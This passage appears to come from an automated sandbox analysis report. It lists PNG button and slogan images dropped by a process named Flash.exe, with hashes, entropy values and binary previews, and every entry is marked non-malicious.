Preview:	.PNG........IHDR.......(.....u.......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:1D22B616AE3811EB831F92438FF4C989" xmpMM:DocumentID="xmp.did:1D22B617AE3811EB831F92438FF4C989"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1D22B614AE3811EB831F92438FF4C989" stRef:documentID="xmp.did:1D22B615AE3811EB831F92438FF4C989"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.s......IDATx..UA..!.lE.........T./..l=..tY\.8.....D.S)...Zk.Zw.K)7.@7.... W.'..R.P@.....N..S..a.w."...F....

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\pullup_blue_button_right_disabled_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 44 x 80, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	6.637533423908956
Encrypted:	false
SSDEEP:	24:faw1hmYaWwjx82lY2T3XVjNLSJyJ3Vjh8SpGVM9Jd4B9W0CLqzb/7yG:DMYLNn2Df9J3rYM9T4Xs2h
MD5:	C077D1E019949233FAC4C8CA7E39CBE7
SHA1:	EFBDB0F87F83A5871AC68CBAEAD2A758B894EFD9
SHA-256:	2B999991E597214A7CA69DC2E9D56D1D1C58FF51E4946B5F8BFFC98AE13CD23A
SHA-512:	02BD1BFD0C73904ABDCAD77629E173BFD20B8C2315EABC2198F4D26A0437E5EA2F1BE4050A9E1551A96C4A5E11101EA2DCE3E823CA0CD491E3440AFB0F9886EC
Malicious:	false
Preview:	.PNG........IHDR...,...P.............tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:1B7D74A9AE3811EB83EDBB686D20A8AB" xmpMM:DocumentID="xmp.did:1B7D74AAAE3811EB83EDBB686D20A8AB"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1B7D74A7AE3811EB83EDBB686D20A8AB" stRef:documentID="xmp.did:1B7D74A8AE3811EB83EDBB686D20A8AB"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>......%IDATx..YA.. ...=.&......C>...=h.n...VIqI..(..df`W.UUE.&........Y.e.B.......`....{..H@......#@:.;@G.t.".M@

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\pullup_blue_button_right_hover_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 22 x 40, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1227
Entropy (8bit):	6.67467189559072
Encrypted:	false
SSDEEP:	24:tn1hmYaWwjx82lY2T3XVb/g9oyJ3VU/eG6/mPNzLnqEs:HMYLNn2DkrJ3jClnqR
MD5:	511085FF1DEB4B6660820DC04143D774
SHA1:	04895C4FF98A1CECF15368C7225E3F4652919EB4
SHA-256:	D072F7068EE24A17306DEB7838F2B59D2C1FB279E99E513BCA7143AB6A15DE81
SHA-512:	E0A9BF0D9DBE2BCB4CD2BE6AB49F6D5DABA15F681D1F637CEE9D813F3FE52225EC0DD679E848E423B88F7C9359AF73C115B6233371D3AF72615C170D3B67FDB1
Malicious:	false
Preview:	.PNG........IHDR.......(.....u.......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:1DEC0E77AE3811EB8120A6C00662C188" xmpMM:DocumentID="xmp.did:1DEC0E78AE3811EB8120A6C00662C188"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1DEC0E75AE3811EB8120A6C00662C188" stRef:documentID="xmp.did:1DEC0E76AE3811EB8120A6C00662C188"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.J.)...;IDATx..V.N.@.l....YL..._..1.1Q.f............8l.C..T.tO...>.......'.8).L.....!.Q.!..0,$...G:...QJ.u....

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\pullup_blue_button_right_hover_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 44 x 80, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1437
Entropy (8bit):	7.005268124420912
Encrypted:	false
SSDEEP:	24:faw1hmYaWwjx82lY2T3XVjua6ghyJ3Vp0LuGL7zQi+XmT1/LyQUbQGI1+57:DMYLNn2DShJ3ROP1j/4R57
MD5:	21339F92F5FF998BA1DF8D2BF2F1BAD4
SHA1:	B25962FA4A9E261DE6556B3703748B044879BE8E
SHA-256:	1CAA2A1495ED17E75F9633340C1F3659C07A9EE0D5A32A6FD86CD7E766000CA2
SHA-512:	BEB0DC0CC9BC6EE478BDDB64C6583361774B7E05C08950918EB0B060469BB2F8AAE581E0F2D17BD19C09337EC62BCAA15DE08C72076D99FAE43C6047E5C510CB
Malicious:	false
Preview:	.PNG........IHDR...,...P.............tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:1C522AA2AE3811EBBC24A92306EC447C" xmpMM:DocumentID="xmp.did:1C522AA3AE3811EBBC24A92306EC447C"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1C522AA0AE3811EBBC24A92306EC447C" stRef:documentID="xmp.did:1C522AA1AE3811EBBC24A92306EC447C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>x.......IDATx..ZmO.0...Pd..._.?...].0c@.. n8.....e.....}.ea--...s............."...F,.__..%.L..P .D^...\|b..HP.Df.lP

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\pullup_blue_button_right_normal_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 22 x 40, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1182
Entropy (8bit):	6.580822438786029
Encrypted:	false
SSDEEP:	24:tn1hmYaWwjx82lY2T3XVh2AFyJ3VhFseGFAwp9/ZgZqBMN1E3sl:HMYLNn2Dr+J3rVGAnw3sl
MD5:	18A3AAA1684A0DBA5E652EE88BFA326C
SHA1:	BBD33183102170EE63DE6637372B925B30B2075B
SHA-256:	DDFC0F835E5C3815A21BA8D82B0E4573E45DB3EBA2E0E17815FFDDCA91C6D87E
SHA-512:	B96CA45608B6A8BCCA10C73EDFE35A11F2334F7F2F25EBA9E48FCA92009C70F3AD746FA94AEF710357F88E2AE546F773F6A8713836D9742708E6F1DC00AB867B
Malicious:	false
Preview:	.PNG........IHDR.......(.....u.......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:1E5882F8AE3811EB975EFAF764DBDDC4" xmpMM:DocumentID="xmp.did:1E5882F9AE3811EB975EFAF764DBDDC4"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1E5882F6AE3811EB975EFAF764DBDDC4" stRef:documentID="xmp.did:1E5882F7AE3811EB975EFAF764DBDDC4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>].......IDATx..VQ..A...D".W.-?..9%Nt/..b.5g...<...6]....\|...Ny:KK.Xk......Q?s!.g.b+...@.E...\......8:.....@.A...

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\pullup_blue_button_right_normal_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 44 x 80, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1374
Entropy (8bit):	6.904706036896548
Encrypted:	false
SSDEEP:	24:faw1hmYaWwjx82lY2T3XVZJ9yJ3VcMGlB42fOUMbaFQxBanG7:DMYLNn2DDKJ35mNfBMImBb7
MD5:	448532E1D1C2F261CCF50150A9DE7C16
SHA1:	5CB4827D4FF2C05729E1C11E7CE613D9849C0AB2
SHA-256:	C4A253CE46DFD37DD72AFBE7A47C569CDF3202A78C8911758D0E2AE00D09F7F4
SHA-512:	04769FD9632FE2680EF1E5FF99D2472D5990B1289DF031C8667E1E101AC34C42243324978C9C6BA2E63FCCE16058785FC2384C461C71F7A134D947C7C6A4B8CB
Malicious:	false
Preview:	.PNG........IHDR...,...P.............tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:1CBEDC76AE3811EBA8E49E9783563CBF" xmpMM:DocumentID="xmp.did:1CBEDC77AE3811EBA8E49E9783563CBF"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1CBEDC74AE3811EBA8E49E9783563CBF" stRef:documentID="xmp.did:1CBEDC75AE3811EBA8E49E9783563CBF"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>[.......IDATx..Z.J.0..e.U.T..E.U}-...R.vN..Q...ji..mp..qG.6..w.w=.......x..4...]..H...v..`;....(z....io......y"7

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\pullup_blue_button_right_pressed_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 22 x 40, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1226
Entropy (8bit):	6.67613357709947
Encrypted:	false
SSDEEP:	24:tn1hmYaWwjx82lY2T3XVi/duLyJ3V9/d1bGfNbw48f4:HMYLNn2DSdJ3JR4br8f4
MD5:	9E0CFE8AD79A1AA5147BF038225F56D5
SHA1:	56D5DC1A9C0037C3F4A1C76E07EEA02B4BCB8424
SHA-256:	5EF4B3F8FBE47FEB5A0C383E92A2D31BC6DD1670A3780565D5D96E09F847EF09
SHA-512:	86337D5A6B63BEB7A5291CEC1FB315CB47822F999E15F3C32CB94D9AA2C785DBB28361EE78E2BAF4372BC5302FF819B62C99A16B9CBCA3F0C392FFF2C09D74D7
Malicious:	false
Preview:	.PNG........IHDR.......(.....u.......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:1D86F5A3AE3811EBB29F9707E4A91D62" xmpMM:DocumentID="xmp.did:1D86F5A4AE3811EBB29F9707E4A91D62"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1D86F5A1AE3811EBB29F9707E4A91D62" stRef:documentID="xmp.did:1D86F5A2AE3811EBB29F9707E4A91D62"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>}goN...:IDATx..V.J.@..C.x.B.....W.....7.Q.\.q.8...uke_..C...{/.orr...n.fv....7WQ.Gu..m%..Kx....D...D.......%$.p..

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\pullup_blue_button_right_pressed_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 44 x 80, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1446
Entropy (8bit):	7.013095472932144
Encrypted:	false
SSDEEP:	24:faw1hmYaWwjx82lY2T3XVT73yJ3VMR6GzGoJfL7dg/LiMEAtlkj5Dbb5Pq:DMYLNn2DFWJ3KAAJuziMTlkj5DBPq
MD5:	E18A9B45961AB12DE1E29049D436764F
SHA1:	0B58C39832C71C82896860DC9A443D3E9C17BE79
SHA-256:	55512EFDA05E9887844968D2FDA52779D2DCEAB764E4B8D81EE71810EC26C0DA
SHA-512:	AD40C4D1CB041DDE763BC843554D9FD4372BA5F79A4AB30919BC9AA1B53C625489F3B99043A0BE8848B362F4B23D067D8F5C061DDC8FE163E2E6445C749A08C1
Malicious:	false
Preview:	.PNG........IHDR...,...P.............tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:1BED1A2EAE3811EBA8FAC4A59FBE843B" xmpMM:DocumentID="xmp.did:1BED1A2FAE3811EBA8FAC4A59FBE843B"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1BED1A2CAE3811EBA8FAC4A59FBE843B" stRef:documentID="xmp.did:1BED1A2DAE3811EBA8FAC4A59FBE843B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..4.....IDATx..Z.J.P...L.D.."...z..'......I.......nm..-.w...eww.....\|l.7.O.M5%.....^.6...~/d..2..$.@.D.$(...%A.$.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\slogan-c0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 620 x 220, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	11436
Entropy (8bit):	7.83024594564574
Encrypted:	false
SSDEEP:	192:XkZ9Ip/+wHZ+RK6OU93XroiBS1p4tbo2L9+SQTt+GXzSopUg8GAf1Z7z:UZq0w5+olU93X3S16tbfQTt+f82J
MD5:	1579AF56A3C95738FF2F47BD11F38FBC
SHA1:	121CB7FCAA3D76748AE1B56596C25B58DED1F48A
SHA-256:	7EDBCC328A52AA88882B03132A9B1E2D8F7DC6C717950ADA451497FA95405744
SHA-512:	D3DEFF56127084C5F4866315F08716875CB2BF9E5A57CEC3832E560718F62D9A7303A487900A78695053DAEC51AC3821BD4DA0C02F3ACCE76595589D2B751384
Malicious:	false
Preview:	.PNG........IHDR...l............y....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:2F219115BFA111EB9977EBC01D7658B8" xmpMM:DocumentID="xmp.did:2F219116BFA111EB9977EBC01D7658B8"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2F219113BFA111EB9977EBC01D7658B8" stRef:documentID="xmp.did:2F219114BFA111EB9977EBC01D7658B8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.].u..).IDATx....p..}.......A.c)u.i....L,Y.$R.$;5d.V.v..;..65...{l.....:.B.({.*......g.V..U[Tt.[.H....C..3.'3.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\slogan-c1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 1240 x 440, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	23946
Entropy (8bit):	7.793561144943521
Encrypted:	false
SSDEEP:	384:1HqEaZIf8Jre/Um0bz+u1l+JJv1+aFG3ONhZN/GnP5W8iyhSAGLodz:lqbQ0bzTL+JN1jvfZNOnRDiy0AGL8
MD5:	D83701C4B3068AB0BC20B0F58BBA077D
SHA1:	BAF14E07649CA5006060C81177182D824F61B9CB
SHA-256:	66CEFD1873568EA8FFAB59D3C12CE117A7D8C163CF0A9F9EF92D9A313D569413
SHA-512:	CB95B671EDEB3FC72C44E22CD6224932CE39DB3AA991458F4F75C81E1B8317174FF1D64FF18530F05424479AFBCA779A02ADBA4ED02E93DD2CB8DE45434848CC
Malicious:	false
Preview:	.PNG........IHDR..............zZ.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:5302D8DCBFA111EB83D3AFCD6C9DE784" xmpMM:DocumentID="xmp.did:5302D8DDBFA111EB83D3AFCD6C9DE784"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5302D8DABFA111EB83D3AFCD6C9DE784" stRef:documentID="xmp.did:5302D8DBBFA111EB83D3AFCD6C9DE784"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.A....Y.IDATx...{...]........I....s4..@`...~... ....nto.n... ..b..%..n"..k...$..<.0..G...c.....1I.....hi.z

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\slogan-e0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 620 x 220, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13034
Entropy (8bit):	7.823448694950891
Encrypted:	false
SSDEEP:	192:X/1DJepNRBQFoJwbz0NE0MctTHetsP2WncoGUB86pWWccb+j3TTpEM4VXBPS:P9JepNRBQFAEVcx+uP2W+286cMiHpwpS
MD5:	C5262B6DBC5456DE2CDDE1DB6B6EB7F4
SHA1:	481EDA646E1A3AD9986D1C8DBD6120EB9CA416C1
SHA-256:	64D47BC323099870E5F1836B09F7FA5A42309E82A0993747159D4559E1102369
SHA-512:	40C063884BE421A4CD2ABF0297FC39D4E0AB99E65B6F103C6D26F5EAE10D47EF63C37CD70C615C87F4DD491297ED280BF7B5BF40A1A03D6F8DE0E6ECCBBAB691
Malicious:	false
Preview:	.PNG........IHDR...l............y....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:2F7D503EBFA111EB9904DFA5C31618C7" xmpMM:DocumentID="xmp.did:2F7D503FBFA111EB9904DFA5C31618C7"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2F7D503CBFA111EB9904DFA5C31618C7" stRef:documentID="xmp.did:2F7D503DBFA111EB9904DFA5C31618C7"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>m'..../ZIDATx...l$.}......{.n.^.8..[.W.H...pk;..#q..L@;q.&.m...Z&..@...R..E....kL...$.X.J.-.N&.Z-R..^a.k.Y.^

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\slogan-e1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 1240 x 440, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	28165
Entropy (8bit):	7.727990661858716
Encrypted:	false
SSDEEP:	768:JPoU994yI3RTXENGK+w7Ad3Wnv4eAN1xBNr:ZoU994yIyGK+wTnvVAN/rr
MD5:	2A97B3D1E860830E6F74C76BB3378CCD
SHA1:	206BD7E705C8F4F5E1271C38F03F1DD8A4B5950E
SHA-256:	272F99E3EDF4003B2F1340CEEBD3B550F98DC01C1DEF2786412CA7D6753D589E
SHA-512:	4BABDCC08AC7A53BAEC8A527ADC8010C2EBA330E0A8559E766B2C87BC2CF0D4CF19DB5ECCC49476CABD4B47DA1CC01B081DD11ABA20D39CFE6D3B15F6ED9DEA2
Malicious:	false
Preview:	.PNG........IHDR..............zZ.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:536788C6BFA111EB8CF5A645B43C8C66" xmpMM:DocumentID="xmp.did:536788C7BFA111EB8CF5A645B43C8C66"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:536788C4BFA111EB8CF5A645B43C8C66" stRef:documentID="xmp.did:536788C5BFA111EB8CF5A645B43C8C66"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>HG.I..juIDATx....p$.y......A...5.....]..YQb.*.h...Cr.,...G...G..fF..K..!6vgwgZ1h..1%..hI.lO{......MH.E6..#:v....vL

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\slogan-t0.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 620 x 220, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	11544
Entropy (8bit):	7.827412196413487
Encrypted:	false
SSDEEP:	192:X4wb/LPA1WsJSaEeAO4cuHc6dtOc6PJveaXYARlLkcABHoi:p/LOXJSsAxnWRWyYARlYbn
MD5:	C588B4802242A00145F783442DAF3C84
SHA1:	6D34A336C77D9C4FD1B518875C0202B99F0A0224
SHA-256:	21A1F793B9E92B19D73FEC1B49C989CE446BF657AE850D456FF82CEA451E4479
SHA-512:	A654E1E18D32708C6E7D6164F19A0D963ADEE479A1D7DDD9120C59560305E83975628F3E6BA170AFE81E33B4D47E1E072C2C951F6822103AC015C14EF6F1C90A
Malicious:	false
Preview:	.PNG........IHDR...l............y....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmpMM:InstanceID="xmp.iid:2E5F46DBBFA111EBBCBEC12EB181C5FA" xmpMM:DocumentID="xmp.did:2E5F46DCBFA111EBBCBEC12EB181C5FA"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2E5F46D9BFA111EBBCBEC12EB181C5FA" stRef:documentID="xmp.did:2E5F46DABFA111EBBCBEC12EB181C5FA"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>5....).IDATx...mp\.}..sv..!."..qF....#Y.$J6%;5dS..d..-;..65..J<......S..m..%.4P...c..&u.:..U.Z.E.d.....gl73.,

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\slogan-t1.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 1240 x 440, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	23932
Entropy (8bit):	7.7869087692753745
Encrypted:	false
SSDEEP:	384:4Z22zc6lk2bjs7BbVQ9dn8v/B8v9CrRijT81wmxcY+3zfXgNNC2uzRJl:4Z2Q5k2SQdn8/B8v9M9wKcfDfXAI2uNL
MD5:	AF65A99F2574618ADF098F8A1B323DEE
SHA1:	8D8EFBAB6E65A5FA62090A9BDB9C992656ADD1E2
SHA-256:	21816DA9491549F2AE3FF36139E8674EEE718D1C71F2F9DF064C7E262D93FD63
SHA-512:	A03411ADC224AF28CEADED4EBD3AE4AADBABCF68C826C849D9E8114C15D98553455546E6214C62CDC15BF2780DEFAD81764379CB64003F1856987E5B8A02B432
Malicious:	false
